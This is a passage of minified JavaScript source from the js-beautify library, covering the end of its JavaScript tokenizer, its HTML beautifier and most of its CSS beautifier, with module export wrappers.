comment=comment.replace(acorn.lineBreak,'\n');return[comment,'TK_BLOCK_COMMENT',directives];}
if(input.charAt(parser_pos)==='/'){parser_pos+=1;comment_pattern.lastIndex=parser_pos;var comment_match=comment_pattern.exec(input);comment='//'+comment_match[0];parser_pos+=comment_match[0].length;return[comment,'TK_COMMENT'];}}
if(c==='`'||c==="'"||c==='"'||((c==='/')||(opts.e4x&&c==="<"&&input.slice(parser_pos-1).match(/^<([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])(\s+[-a-zA-Z:0-9_.]+\s*=\s*('[^']*'|"[^"]*"|{.*?}))*\s*(\/?)\s*>/)))&&((last_token.type==='TK_RESERVED'&&in_array(last_token.text,['return','case','throw','else','do','typeof','yield']))||(last_token.type==='TK_END_EXPR'&&last_token.text===')'&&last_token.parent&&last_token.parent.type==='TK_RESERVED'&&in_array(last_token.parent.text,['if','while','for']))||(in_array(last_token.type,['TK_COMMENT','TK_START_EXPR','TK_START_BLOCK','TK_END_BLOCK','TK_OPERATOR','TK_EQUALS','TK_EOF','TK_SEMICOLON','TK_COMMA'])))){var sep=c,esc=false,has_char_escapes=false;resulting_string=c;if(sep==='/'){var in_char_class=false;while(parser_pos<input_length&&((esc||in_char_class||input.charAt(parser_pos)!==sep)&&!acorn.newline.test(input.charAt(parser_pos)))){resulting_string+=input.charAt(parser_pos);if(!esc){esc=input.charAt(parser_pos)==='\\';if(input.charAt(parser_pos)==='['){in_char_class=true;}else if(input.charAt(parser_pos)===']'){in_char_class=false;}}else{esc=false;}
parser_pos+=1;}}else if(opts.e4x&&sep==='<'){var xmlRegExp=/<(\/?)([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])(\s+[-a-zA-Z:0-9_.]+\s*=\s*('[^']*'|"[^"]*"|{.*?}))*\s*(\/?)\s*>/g;var xmlStr=input.slice(parser_pos-1);var match=xmlRegExp.exec(xmlStr);if(match&&match.index===0){var rootTag=match[2];var depth=0;while(match){var isEndTag=!!match[1];var tagName=match[2];var isSingletonTag=(!!match[match.length-1])||(tagName.slice(0,8)==="![CDATA[");if(tagName===rootTag&&!isSingletonTag){if(isEndTag){--depth;}else{++depth;}}
if(depth<=0){break;}
match=xmlRegExp.exec(xmlStr);}
var xmlLength=match?match.index+match[0].length:xmlStr.length;xmlStr=xmlStr.slice(0,xmlLength);parser_pos+=xmlLength-1;xmlStr=xmlStr.replace(acorn.lineBreak,'\n');return[xmlStr,"TK_STRING"];}}else{while(parser_pos<input_length&&(esc||(input.charAt(parser_pos)!==sep&&(sep==='`'||!acorn.newline.test(input.charAt(parser_pos)))))){if((esc||sep==='`')&&acorn.newline.test(input.charAt(parser_pos))){if(input.charAt(parser_pos)==='\r'&&input.charAt(parser_pos+1)==='\n'){parser_pos+=1;}
resulting_string+='\n';}else{resulting_string+=input.charAt(parser_pos);}
if(esc){if(input.charAt(parser_pos)==='x'||input.charAt(parser_pos)==='u'){has_char_escapes=true;}
esc=false;}else{esc=input.charAt(parser_pos)==='\\';}
parser_pos+=1;}}
if(has_char_escapes&&opts.unescape_strings){resulting_string=unescape_string(resulting_string);}
if(parser_pos<input_length&&input.charAt(parser_pos)===sep){resulting_string+=sep;parser_pos+=1;if(sep==='/'){while(parser_pos<input_length&&acorn.isIdentifierStart(input.charCodeAt(parser_pos))){resulting_string+=input.charAt(parser_pos);parser_pos+=1;}}}
return[resulting_string,'TK_STRING'];}
if(c==='#'){if(tokens.length===0&&input.charAt(parser_pos)==='!'){resulting_string=c;while(parser_pos<input_length&&c!=='\n'){c=input.charAt(parser_pos);resulting_string+=c;parser_pos+=1;}
return[trim(resulting_string)+'\n','TK_UNKNOWN'];}
var sharp='#';if(parser_pos<input_length&&digit.test(input.charAt(parser_pos))){do{c=input.charAt(parser_pos);sharp+=c;parser_pos+=1;}while(parser_pos<input_length&&c!=='#'&&c!=='=');if(c==='#'){}else if(input.charAt(parser_pos)==='['&&input.charAt(parser_pos+1)===']'){sharp+='[]';parser_pos+=2;}else if(input.charAt(parser_pos)==='{'&&input.charAt(parser_pos+1)==='}'){sharp+='{}';parser_pos+=2;}
return[sharp,'TK_WORD'];}}
if(c==='<'&&(input.charAt(parser_pos)==='?'||input.charAt(parser_pos)==='%')){template_pattern.lastIndex=parser_pos-1;var template_match=template_pattern.exec(input);if(template_match){c=template_match[0];parser_pos+=c.length-1;c=c.replace(acorn.lineBreak,'\n');return[c,'TK_STRING'];}}
if(c==='<'&&input.substring(parser_pos-1,parser_pos+3)==='<!--'){parser_pos+=3;c='<!--';while(!acorn.newline.test(input.charAt(parser_pos))&&parser_pos<input_length){c+=input.charAt(parser_pos);parser_pos++;}
in_html_comment=true;return[c,'TK_COMMENT'];}
if(c==='-'&&in_html_comment&&input.substring(parser_pos-1,parser_pos+2)==='-->'){in_html_comment=false;parser_pos+=2;return['-->','TK_COMMENT'];}
if(c==='.'){return[c,'TK_DOT'];}
if(in_array(c,punct)){while(parser_pos<input_length&&in_array(c+input.charAt(parser_pos),punct)){c+=input.charAt(parser_pos);parser_pos+=1;if(parser_pos>=input_length){break;}}
if(c===','){return[c,'TK_COMMA'];}else if(c==='='){return[c,'TK_EQUALS'];}else{return[c,'TK_OPERATOR'];}}
return[c,'TK_UNKNOWN'];}
function unescape_string(s){var esc=false,out='',pos=0,s_hex='',escaped=0,c;while(esc||pos<s.length){c=s.charAt(pos);pos++;if(esc){esc=false;if(c==='x'){s_hex=s.substr(pos,2);pos+=2;}else if(c==='u'){s_hex=s.substr(pos,4);pos+=4;}else{out+='\\'+c;continue;}
if(!s_hex.match(/^[0123456789abcdefABCDEF]+$/)){return s;}
escaped=parseInt(s_hex,16);if(escaped>=0x00&&escaped<0x20){if(c==='x'){out+='\\x'+s_hex;}else{out+='\\u'+s_hex;}
continue;}else if(escaped===0x22||escaped===0x27||escaped===0x5c){out+='\\'+String.fromCharCode(escaped);}else if(c==='x'&&escaped>0x7e&&escaped<=0xff){return s;}else{out+=String.fromCharCode(escaped);}}else if(c==='\\'){esc=true;}else{out+=c;}}
return out;}}
if(typeof define==="function"&&define.amd){define([],function(){return{js_beautify:js_beautify};});}else if(typeof exports!=="undefined"){exports.js_beautify=js_beautify;}else if(typeof window!=="undefined"){window.js_beautify=js_beautify;}else if(typeof global!=="undefined"){global.js_beautify=js_beautify;}}());(function(){function trim(s){return s.replace(/^\s+|\s+$/g,'');}
function ltrim(s){return s.replace(/^\s+/g,'');}
function rtrim(s){return s.replace(/\s+$/g,'');}
function style_html(html_source,options,js_beautify,css_beautify){var multi_parser,indent_inner_html,indent_size,indent_character,wrap_line_length,brace_style,unformatted,preserve_newlines,max_preserve_newlines,indent_handlebars,wrap_attributes,wrap_attributes_indent_size,end_with_newline,extra_liners,eol;options=options||{};if((options.wrap_line_length===undefined||parseInt(options.wrap_line_length,10)===0)&&(options.max_char!==undefined&&parseInt(options.max_char,10)!==0)){options.wrap_line_length=options.max_char;}
indent_inner_html=(options.indent_inner_html===undefined)?false:options.indent_inner_html;indent_size=(options.indent_size===undefined)?4:parseInt(options.indent_size,10);indent_character=(options.indent_char===undefined)?' ':options.indent_char;brace_style=(options.brace_style===undefined)?'collapse':options.brace_style;wrap_line_length=parseInt(options.wrap_line_length,10)===0?32786:parseInt(options.wrap_line_length||250,10);unformatted=options.unformatted||['a','span','img','bdo','em','strong','dfn','code','samp','kbd','var','cite','abbr','acronym','q','sub','sup','tt','i','b','big','small','u','s','strike','font','ins','del','pre','address','dt','h1','h2','h3','h4','h5','h6'];preserve_newlines=(options.preserve_newlines===undefined)?true:options.preserve_newlines;max_preserve_newlines=preserve_newlines?(isNaN(parseInt(options.max_preserve_newlines,10))?32786:parseInt(options.max_preserve_newlines,10)):0;indent_handlebars=(options.indent_handlebars===undefined)?false:options.indent_handlebars;wrap_attributes=(options.wrap_attributes===undefined)?'auto':options.wrap_attributes;wrap_attributes_indent_size=(options.wrap_attributes_indent_size===undefined)?indent_size:parseInt(options.wrap_attributes_indent_size,10)||indent_size;end_with_newline=(options.end_with_newline===undefined)?false:options.end_with_newline;extra_liners=(typeof options.extra_liners=='object')&&options.extra_liners?options.extra_liners.concat():(typeof options.extra_liners==='string')?options.extra_liners.split(','):'head,body,/html'.split(',');eol=options.eol?options.eol:'\n';if(options.indent_with_tabs){indent_character='\t';indent_size=1;}
eol=eol.replace(/\\r/,'\r').replace(/\\n/,'\n')
function Parser(){this.pos=0;this.token='';this.current_mode='CONTENT';this.tags={parent:'parent1',parentcount:1,parent1:''};this.tag_type='';this.token_text=this.last_token=this.last_text=this.token_type='';this.newlines=0;this.indent_content=indent_inner_html;this.Utils={whitespace:"\n\r\t ".split(''),single_token:'br,input,link,meta,source,!doctype,basefont,base,area,hr,wbr,param,img,isindex,embed'.split(','),extra_liners:extra_liners,in_array:function(what,arr){for(var i=0;i<arr.length;i++){if(what===arr[i]){return true;}}
return false;}};this.is_whitespace=function(text){for(var n=0;n<text.length;text++){if(!this.Utils.in_array(text.charAt(n),this.Utils.whitespace)){return false;}}
return true;};this.traverse_whitespace=function(){var input_char='';input_char=this.input.charAt(this.pos);if(this.Utils.in_array(input_char,this.Utils.whitespace)){this.newlines=0;while(this.Utils.in_array(input_char,this.Utils.whitespace)){if(preserve_newlines&&input_char==='\n'&&this.newlines<=max_preserve_newlines){this.newlines+=1;}
this.pos++;input_char=this.input.charAt(this.pos);}
return true;}
return false;};this.space_or_wrap=function(content){if(this.line_char_count>=this.wrap_line_length){this.print_newline(false,content);this.print_indentation(content);}else{this.line_char_count++;content.push(' ');}};this.get_content=function(){var input_char='',content=[],space=false;while(this.input.charAt(this.pos)!=='<'){if(this.pos>=this.input.length){return content.length?content.join(''):['','TK_EOF'];}
if(this.traverse_whitespace()){this.space_or_wrap(content);continue;}
if(indent_handlebars){var peek3=this.input.substr(this.pos,3);if(peek3==='{{#'||peek3==='{{/'){break;}else if(peek3==='{{!'){return[this.get_tag(),'TK_TAG_HANDLEBARS_COMMENT'];}else if(this.input.substr(this.pos,2)==='{{'){if(this.get_tag(true)==='{{else}}'){break;}}}
input_char=this.input.charAt(this.pos);this.pos++;this.line_char_count++;content.push(input_char);}
return content.length?content.join(''):'';};this.get_contents_to=function(name){if(this.pos===this.input.length){return['','TK_EOF'];}
var input_char='';var content='';var reg_match=new RegExp('</'+name+'\\s*>','igm');reg_match.lastIndex=this.pos;var reg_array=reg_match.exec(this.input);var end_script=reg_array?reg_array.index:this.input.length;if(this.pos<end_script){content=this.input.substring(this.pos,end_script);this.pos=end_script;}
return content;};this.record_tag=function(tag){if(this.tags[tag+'count']){this.tags[tag+'count']++;this.tags[tag+this.tags[tag+'count']]=this.indent_level;}else{this.tags[tag+'count']=1;this.tags[tag+this.tags[tag+'count']]=this.indent_level;}
this.tags[tag+this.tags[tag+'count']+'parent']=this.tags.parent;this.tags.parent=tag+this.tags[tag+'count'];};this.retrieve_tag=function(tag){if(this.tags[tag+'count']){var temp_parent=this.tags.parent;while(temp_parent){if(tag+this.tags[tag+'count']===temp_parent){break;}
temp_parent=this.tags[temp_parent+'parent'];}
if(temp_parent){this.indent_level=this.tags[tag+this.tags[tag+'count']];this.tags.parent=this.tags[temp_parent+'parent'];}
delete this.tags[tag+this.tags[tag+'count']+'parent'];delete this.tags[tag+this.tags[tag+'count']];if(this.tags[tag+'count']===1){delete this.tags[tag+'count'];}else{this.tags[tag+'count']--;}}};this.indent_to_tag=function(tag){if(!this.tags[tag+'count']){return;}
var temp_parent=this.tags.parent;while(temp_parent){if(tag+this.tags[tag+'count']===temp_parent){break;}
temp_parent=this.tags[temp_parent+'parent'];}
if(temp_parent){this.indent_level=this.tags[tag+this.tags[tag+'count']];}};this.get_tag=function(peek){var input_char='',content=[],comment='',space=false,first_attr=true,tag_start,tag_end,tag_start_char,orig_pos=this.pos,orig_line_char_count=this.line_char_count;peek=peek!==undefined?peek:false;do{if(this.pos>=this.input.length){if(peek){this.pos=orig_pos;this.line_char_count=orig_line_char_count;}
return content.length?content.join(''):['','TK_EOF'];}
input_char=this.input.charAt(this.pos);this.pos++;if(this.Utils.in_array(input_char,this.Utils.whitespace)){space=true;continue;}
if(input_char==="'"||input_char==='"'){input_char+=this.get_unformatted(input_char);space=true;}
if(input_char==='='){space=false;}
if(content.length&&content[content.length-1]!=='='&&input_char!=='>'&&space){this.space_or_wrap(content);space=false;if(!first_attr&&wrap_attributes==='force'&&input_char!=='/'){this.print_newline(true,content);this.print_indentation(content);for(var count=0;count<wrap_attributes_indent_size;count++){content.push(indent_character);}}
for(var i=0;i<content.length;i++){if(content[i]===' '){first_attr=false;break;}}}
if(indent_handlebars&&tag_start_char==='<'){if((input_char+this.input.charAt(this.pos))==='{{'){input_char+=this.get_unformatted('}}');if(content.length&&content[content.length-1]!==' '&&content[content.length-1]!=='<'){input_char=' '+input_char;}
space=true;}}
if(input_char==='<'&&!tag_start_char){tag_start=this.pos-1;tag_start_char='<';}
if(indent_handlebars&&!tag_start_char){if(content.length>=2&&content[content.length-1]==='{'&&content[content.length-2]==='{'){if(input_char==='#'||input_char==='/'||input_char==='!'){tag_start=this.pos-3;}else{tag_start=this.pos-2;}
tag_start_char='{';}}
this.line_char_count++;content.push(input_char);if(content[1]&&(content[1]==='!'||content[1]==='?'||content[1]==='%')){content=[this.get_comment(tag_start)];break;}
if(indent_handlebars&&content[1]&&content[1]==='{'&&content[2]&&content[2]==='!'){content=[this.get_comment(tag_start)];break;}
if(indent_handlebars&&tag_start_char==='{'&&content.length>2&&content[content.length-2]==='}'&&content[content.length-1]==='}'){break;}}while(input_char!=='>');var tag_complete=content.join('');var tag_index;var tag_offset;if(tag_complete.indexOf(' ')!==-1){tag_index=tag_complete.indexOf(' ');}else if(tag_complete.charAt(0)==='{'){tag_index=tag_complete.indexOf('}');}else{tag_index=tag_complete.indexOf('>');}
if(tag_complete.charAt(0)==='<'||!indent_handlebars){tag_offset=1;}else{tag_offset=tag_complete.charAt(2)==='#'?3:2;}
var tag_check=tag_complete.substring(tag_offset,tag_index).toLowerCase();if(tag_complete.charAt(tag_complete.length-2)==='/'||this.Utils.in_array(tag_check,this.Utils.single_token)){if(!peek){this.tag_type='SINGLE';}}else if(indent_handlebars&&tag_complete.charAt(0)==='{'&&tag_check==='else'){if(!peek){this.indent_to_tag('if');this.tag_type='HANDLEBARS_ELSE';this.indent_content=true;this.traverse_whitespace();}}else if(this.is_unformatted(tag_check,unformatted)){comment=this.get_unformatted('</'+tag_check+'>',tag_complete);content.push(comment);tag_end=this.pos-1;this.tag_type='SINGLE';}else if(tag_check==='script'&&(tag_complete.search('type')===-1||(tag_complete.search('type')>-1&&tag_complete.search(/\b(text|application)\/(x-)?(javascript|ecmascript|jscript|livescript)/)>-1))){if(!peek){this.record_tag(tag_check);this.tag_type='SCRIPT';}}else if(tag_check==='style'&&(tag_complete.search('type')===-1||(tag_complete.search('type')>-1&&tag_complete.search('text/css')>-1))){if(!peek){this.record_tag(tag_check);this.tag_type='STYLE';}}else if(tag_check.charAt(0)==='!'){if(!peek){this.tag_type='SINGLE';this.traverse_whitespace();}}else if(!peek){if(tag_check.charAt(0)==='/'){this.retrieve_tag(tag_check.substring(1));this.tag_type='END';}else{this.record_tag(tag_check);if(tag_check.toLowerCase()!=='html'){this.indent_content=true;}
this.tag_type='START';}
if(this.traverse_whitespace()){this.space_or_wrap(content);}
if(this.Utils.in_array(tag_check,this.Utils.extra_liners)){this.print_newline(false,this.output);if(this.output.length&&this.output[this.output.length-2]!=='\n'){this.print_newline(true,this.output);}}}
if(peek){this.pos=orig_pos;this.line_char_count=orig_line_char_count;}
return content.join('');};this.get_comment=function(start_pos){var comment='',delimiter='>',matched=false;this.pos=start_pos;input_char=this.input.charAt(this.pos);this.pos++;while(this.pos<=this.input.length){comment+=input_char;if(comment.charAt(comment.length-1)===delimiter.charAt(delimiter.length-1)&&comment.indexOf(delimiter)!==-1){break;}
if(!matched&&comment.length<10){if(comment.indexOf('<![if')===0){delimiter='<![endif]>';matched=true;}else if(comment.indexOf('<![cdata[')===0){delimiter=']]>';matched=true;}else if(comment.indexOf('<![')===0){delimiter=']>';matched=true;}else if(comment.indexOf('<!--')===0){delimiter='-->';matched=true;}else if(comment.indexOf('{{!')===0){delimiter='}}';matched=true;}else if(comment.indexOf('<?')===0){delimiter='?>';matched=true;}else if(comment.indexOf('<%')===0){delimiter='%>';matched=true;}}
input_char=this.input.charAt(this.pos);this.pos++;}
return comment;};this.get_unformatted=function(delimiter,orig_tag){if(orig_tag&&orig_tag.toLowerCase().indexOf(delimiter)!==-1){return'';}
var input_char='';var content='';var min_index=0;var space=true;do{if(this.pos>=this.input.length){return content;}
input_char=this.input.charAt(this.pos);this.pos++;if(this.Utils.in_array(input_char,this.Utils.whitespace)){if(!space){this.line_char_count--;continue;}
if(input_char==='\n'||input_char==='\r'){content+='\n';this.line_char_count=0;continue;}}
content+=input_char;this.line_char_count++;space=true;if(indent_handlebars&&input_char==='{'&&content.length&&content.charAt(content.length-2)==='{'){content+=this.get_unformatted('}}');min_index=content.length;}}while(content.toLowerCase().indexOf(delimiter,min_index)===-1);return content;};this.get_token=function(){var token;if(this.last_token==='TK_TAG_SCRIPT'||this.last_token==='TK_TAG_STYLE'){var type=this.last_token.substr(7);token=this.get_contents_to(type);if(typeof token!=='string'){return token;}
return[token,'TK_'+type];}
if(this.current_mode==='CONTENT'){token=this.get_content();if(typeof token!=='string'){return token;}else{return[token,'TK_CONTENT'];}}
if(this.current_mode==='TAG'){token=this.get_tag();if(typeof token!=='string'){return token;}else{var tag_name_type='TK_TAG_'+this.tag_type;return[token,tag_name_type];}}};this.get_full_indent=function(level){level=this.indent_level+level||0;if(level<1){return'';}
return Array(level+1).join(this.indent_string);};this.is_unformatted=function(tag_check,unformatted){if(!this.Utils.in_array(tag_check,unformatted)){return false;}
if(tag_check.toLowerCase()!=='a'||!this.Utils.in_array('a',unformatted)){return true;}
var next_tag=this.get_tag(true);var tag=(next_tag||"").match(/^\s*<\s*\/?([a-z]*)\s*[^>]*>\s*$/);if(!tag||this.Utils.in_array(tag,unformatted)){return true;}else{return false;}};this.printer=function(js_source,indent_character,indent_size,wrap_line_length,brace_style){this.input=js_source||'';this.input=this.input.replace(/\r\n|[\r\u2028\u2029]/g,'\n')
this.output=[];this.indent_character=indent_character;this.indent_string='';this.indent_size=indent_size;this.brace_style=brace_style;this.indent_level=0;this.wrap_line_length=wrap_line_length;this.line_char_count=0;for(var i=0;i<this.indent_size;i++){this.indent_string+=this.indent_character;}
this.print_newline=function(force,arr){this.line_char_count=0;if(!arr||!arr.length){return;}
if(force||(arr[arr.length-1]!=='\n')){if((arr[arr.length-1]!=='\n')){arr[arr.length-1]=rtrim(arr[arr.length-1]);}
arr.push('\n');}};this.print_indentation=function(arr){for(var i=0;i<this.indent_level;i++){arr.push(this.indent_string);this.line_char_count+=this.indent_string.length;}};this.print_token=function(text){if(this.is_whitespace(text)&&!this.output.length){return;}
if(text||text!==''){if(this.output.length&&this.output[this.output.length-1]==='\n'){this.print_indentation(this.output);text=ltrim(text);}}
this.print_token_raw(text);};this.print_token_raw=function(text){if(this.newlines>0){text=rtrim(text);}
if(text&&text!==''){if(text.length>1&&text.charAt(text.length-1)==='\n'){this.output.push(text.slice(0,-1));this.print_newline(false,this.output);}else{this.output.push(text);}}
for(var n=0;n<this.newlines;n++){this.print_newline(n>0,this.output);}
this.newlines=0;};this.indent=function(){this.indent_level++;};this.unindent=function(){if(this.indent_level>0){this.indent_level--;}};};return this;}
multi_parser=new Parser();multi_parser.printer(html_source,indent_character,indent_size,wrap_line_length,brace_style);while(true){var t=multi_parser.get_token();multi_parser.token_text=t[0];multi_parser.token_type=t[1];if(multi_parser.token_type==='TK_EOF'){break;}
switch(multi_parser.token_type){case'TK_TAG_START':multi_parser.print_newline(false,multi_parser.output);multi_parser.print_token(multi_parser.token_text);if(multi_parser.indent_content){multi_parser.indent();multi_parser.indent_content=false;}
multi_parser.current_mode='CONTENT';break;case'TK_TAG_STYLE':case'TK_TAG_SCRIPT':multi_parser.print_newline(false,multi_parser.output);multi_parser.print_token(multi_parser.token_text);multi_parser.current_mode='CONTENT';break;case'TK_TAG_END':if(multi_parser.last_token==='TK_CONTENT'&&multi_parser.last_text===''){var tag_name=multi_parser.token_text.match(/\w+/)[0];var tag_extracted_from_last_output=null;if(multi_parser.output.length){tag_extracted_from_last_output=multi_parser.output[multi_parser.output.length-1].match(/(?:<|{{#)\s*(\w+)/);}
if(tag_extracted_from_last_output===null||(tag_extracted_from_last_output[1]!==tag_name&&!multi_parser.Utils.in_array(tag_extracted_from_last_output[1],unformatted))){multi_parser.print_newline(false,multi_parser.output);}}
multi_parser.print_token(multi_parser.token_text);multi_parser.current_mode='CONTENT';break;case'TK_TAG_SINGLE':var tag_check=multi_parser.token_text.match(/^\s*<([a-z-]+)/i);if(!tag_check||!multi_parser.Utils.in_array(tag_check[1],unformatted)){multi_parser.print_newline(false,multi_parser.output);}
multi_parser.print_token(multi_parser.token_text);multi_parser.current_mode='CONTENT';break;case'TK_TAG_HANDLEBARS_ELSE':multi_parser.print_token(multi_parser.token_text);if(multi_parser.indent_content){multi_parser.indent();multi_parser.indent_content=false;}
multi_parser.current_mode='CONTENT';break;case'TK_TAG_HANDLEBARS_COMMENT':multi_parser.print_token(multi_parser.token_text);multi_parser.current_mode='TAG';break;case'TK_CONTENT':multi_parser.print_token(multi_parser.token_text);multi_parser.current_mode='TAG';break;case'TK_STYLE':case'TK_SCRIPT':if(multi_parser.token_text!==''){multi_parser.print_newline(false,multi_parser.output);var text=multi_parser.token_text,_beautifier,script_indent_level=1;if(multi_parser.token_type==='TK_SCRIPT'){_beautifier=typeof js_beautify==='function'&&js_beautify;}else if(multi_parser.token_type==='TK_STYLE'){_beautifier=typeof css_beautify==='function'&&css_beautify;}
if(options.indent_scripts==="keep"){script_indent_level=0;}else if(options.indent_scripts==="separate"){script_indent_level=-multi_parser.indent_level;}
var indentation=multi_parser.get_full_indent(script_indent_level);if(_beautifier){var Child_options=function(){this.eol='\n';};Child_options.prototype=options;var child_options=new Child_options();text=_beautifier(text.replace(/^\s*/,indentation),child_options);}else{var white=text.match(/^\s*/)[0];var _level=white.match(/[^\n\r]*$/)[0].split(multi_parser.indent_string).length-1;var reindent=multi_parser.get_full_indent(script_indent_level-_level);text=text.replace(/^\s*/,indentation).replace(/\r\n|\r|\n/g,'\n'+reindent).replace(/\s+$/,'');}
if(text){multi_parser.print_token_raw(text);multi_parser.print_newline(true,multi_parser.output);}}
multi_parser.current_mode='TAG';break;default:if(multi_parser.token_text!==''){multi_parser.print_token(multi_parser.token_text);}
break;}
multi_parser.last_token=multi_parser.token_type;multi_parser.last_text=multi_parser.token_text;}
var sweet_code=multi_parser.output.join('').replace(/[\r\n\t ]+$/,'');if(end_with_newline){sweet_code+='\n';}
if(eol!='\n'){sweet_code=sweet_code.replace(/[\n]/g,eol);}
return sweet_code;}
if(typeof define==="function"&&define.amd){define(["require","./beautify","./beautify-css"],function(requireamd){var js_beautify=requireamd("./beautify");var css_beautify=requireamd("./beautify-css");return{html_beautify:function(html_source,options){return style_html(html_source,options,js_beautify.js_beautify,css_beautify.css_beautify);}};});}else if(typeof exports!=="undefined"){var js_beautify=require('./beautify.js');var css_beautify=require('./beautify-css.js');exports.html_beautify=function(html_source,options){return style_html(html_source,options,js_beautify.js_beautify,css_beautify.css_beautify);};}else if(typeof window!=="undefined"){window.html_beautify=function(html_source,options){return style_html(html_source,options,window.js_beautify,window.css_beautify);};}else if(typeof global!=="undefined"){global.html_beautify=function(html_source,options){return style_html(html_source,options,global.js_beautify,global.css_beautify);};}}());(function(){function css_beautify(source_text,options){options=options||{};source_text=source_text||'';source_text=source_text.replace(/\r\n|[\r\u2028\u2029]/g,'\n')
var indentSize=options.indent_size||4;var indentCharacter=options.indent_char||' ';var selectorSeparatorNewline=(options.selector_separator_newline===undefined)?true:options.selector_separator_newline;var end_with_newline=(options.end_with_newline===undefined)?false:options.end_with_newline;var newline_between_rules=(options.newline_between_rules===undefined)?true:options.newline_between_rules;var eol=options.eol?options.eol:'\n';if(typeof indentSize==="string"){indentSize=parseInt(indentSize,10);}
if(options.indent_with_tabs){indentCharacter='\t';indentSize=1;}
eol=eol.replace(/\\r/,'\r').replace(/\\n/,'\n')
var whiteRe=/^\s+$/;var wordRe=/[\w$\-_]/;var pos=-1,ch;var parenLevel=0;function next(){ch=source_text.charAt(++pos);return ch||'';}
function peek(skipWhitespace){var result='';var prev_pos=pos;if(skipWhitespace){eatWhitespace();}
result=source_text.charAt(pos+1)||'';pos=prev_pos-1;next();return result;}
function eatString(endChars){var start=pos;while(next()){if(ch==="\\"){next();}else if(endChars.indexOf(ch)!==-1){break;}else if(ch==="\n"){break;}}
return source_text.substring(start,pos+1);}
function peekString(endChar){var prev_pos=pos;var str=eatString(endChar);pos=prev_pos-1;next();return str;}
function eatWhitespace(){var result='';while(whiteRe.test(peek())){next();result+=ch;}
return result;}
function skipWhitespace(){var result='';if(ch&&whiteRe.test(ch)){result=ch;}
while(whiteRe.test(next())){result+=ch;}
return result;}
function eatComment(singleLine){var start=pos;singleLine=peek()==="/";next();while(next()){if(!singleLine&&ch==="*"&&peek()==="/"){next();break;}else if(singleLine&&ch==="\n"){return source_text.substring(start,pos);}}
return source_text.substring(start,pos)+ch;}
function lookBack(str){return source_text.substring(pos-str.length,pos).toLowerCase()===str;}
function foundNestedPseudoClass(){var openParen=0;for(var i=pos+1;i<source_text.length;i++){var ch=source_text.charAt(i);if(ch==="{"){return true;}else if(ch==='('){openParen+=1;}else if(ch===')'){if(openParen==0){return false;}
openParen-=1;}else if(ch===";"||ch==="}"){return false;}}
return false;}
var basebaseIndentString=source_text.match(/^[\t ]*/)[0];var singleIndent=new Array(indentSize+1).join(indentCharacter);var indentLevel=0;var nestedLevel=0;function indent(){indentLevel++;basebaseIndentString+=singleIndent;}
function outdent(){indentLevel--;basebaseIndentString=basebaseIndentString.slice(0,-indentSize);}
var print={};print["{"]=function(ch){print.singleSpace();output.push(ch);print.newLine();};print["}"]=function(ch){print.newLine();output.push(ch);print.newLine();};print._lastCharWhitespace=function(){return whiteRe.test(output[output.length-1]);};print.newLine=function(keepWhitespace){if(output.length){if(!keepWhitespace&&output[output.length-1]!=='\n'){print.trim();}
output.push('\n');if(basebaseIndentString){output.push(basebaseIndentString);}}};print.singleSpace=function(){if(output.length&&!print._lastCharWhitespace()){output.push(' ');}};print.preserveSingleSpace=function(){if(isAfterSpace){print.singleSpace();}};print.trim=function(){while(print._lastCharWhitespace()){output.pop();}};var output=[];var insideRule=false;var insidePropertyValue=false;var enteringConditionalGroup=false;var top_ch='';var last_top_ch='';while(true){var whitespace=skipWhitespace();var isAfterSpace=whitespace!=='';var isAfterNewline=whitespace.indexOf('\n')!==-1;last_top_ch=top_ch;top_ch=ch;if(!ch){break;}else if(ch==='/'&&peek()==='*'){var header=indentLevel===0;if(isAfterNewline||header){print.newLine();}
output.push(eatComment());print.newLine();if(header){print.newLine(true);}}else if(ch==='/'&&peek()==='/'){if(!isAfterNewline&&last_top_ch!=='{'){print.trim();}
print.singleSpace();output.push(eatComment());print.newLine();}else if(ch==='@'){print.preserveSingleSpace();output.push(ch);var variableOrRule=peekString(": ,;{}()[]/='\"");if(variableOrRule.match(/[ :]$/)){next();variableOrRule=eatString(": ").replace(/\s$/,'');output.push(variableOrRule);print.singleSpace();}
variableOrRule=variableOrRule.replace(/\s$/,'')
if(variableOrRule in css_beautify.NESTED_AT_RULE){nestedLevel+=1;if(variableOrRule in css_beautify.CONDITIONAL_GROUP_RULE){enteringConditionalGroup=true;}}}else if(ch==='#'&&peek()==='{'){print.preserveSingleSpace();output.push(eatString('}'));}else if(ch==='{'){if(peek(true)==='}'){eatWhitespace();next();print.singleSpace();output.push("{}");print.newLine();if(newline_between_rules&&indentLevel===0){print.newLine(true);}}else{indent();print["{"](ch);if(enteringConditionalGroup){enteringConditionalGroup=false;insideRule=(indentLevel>nestedLevel);}else{insideRule=(indentLevel>=nestedLevel);}}}else if(ch==='}'){outdent();print["}"](ch);insideRule=false;insidePropertyValue=false;if(nestedLevel){nestedLevel--;}
if(newline_between_rules&&indentLevel===0){print.newLine(true);}}else if(ch===":"){eatWhitespace();if((insideRule||enteringConditionalGroup)&&!(lookBack("&")||foundNestedPseudoClass())){insidePropertyValue=true;output.push(':');print.singleSpace();}else{if(peek()===":"){next();output.push("::");}else{output.push(':');}}}else if(ch==='"'||ch==='\''){print.preserveSingleSpace();output.push(eatString(ch));}else if(ch===';'){insidePropertyValue=false;output.push(ch);print.newLine();}else if(ch==='('){if(lookBack("url")){output.push(ch);eatWhitespace();if(next()){if(ch!==')'&&ch!=='"'&&ch!=='\''){output.push(eatString(')'));}else{pos--;}}}else{parenLevel++;print.preserveSingleSpace();output.push(ch);eatWhitespace();}}else if(ch===')'){output.push(ch);parenLevel--;}else if(ch===','){output.push(ch);eatWhitespace();if(selectorSeparatorNewline&&!insidePropertyValue&&parenLevel<1){print.newLine();}else{print.singleSpace();}}else if(ch===']'){output.push(ch);}else if(ch==='['){print.preserveSingleSpace();output.push(ch);}else if(ch==='='){eatWhitespace()
ch='=';output.push(ch);}else{print.preserveSingleSpace();output.push(ch);}}
var sweetCode='';if(basebaseIndentString){sweetCode+=basebaseIndentString;}
sweetCode+=output.join('').replace(/[\r\n\t ]+$/,'');if(end_with_newline){sweetCode+='\n';}
if(eol!='\n'){sweetCode=sweetCode.replace(/[\n]/g,eol);}
return sweetCode;}
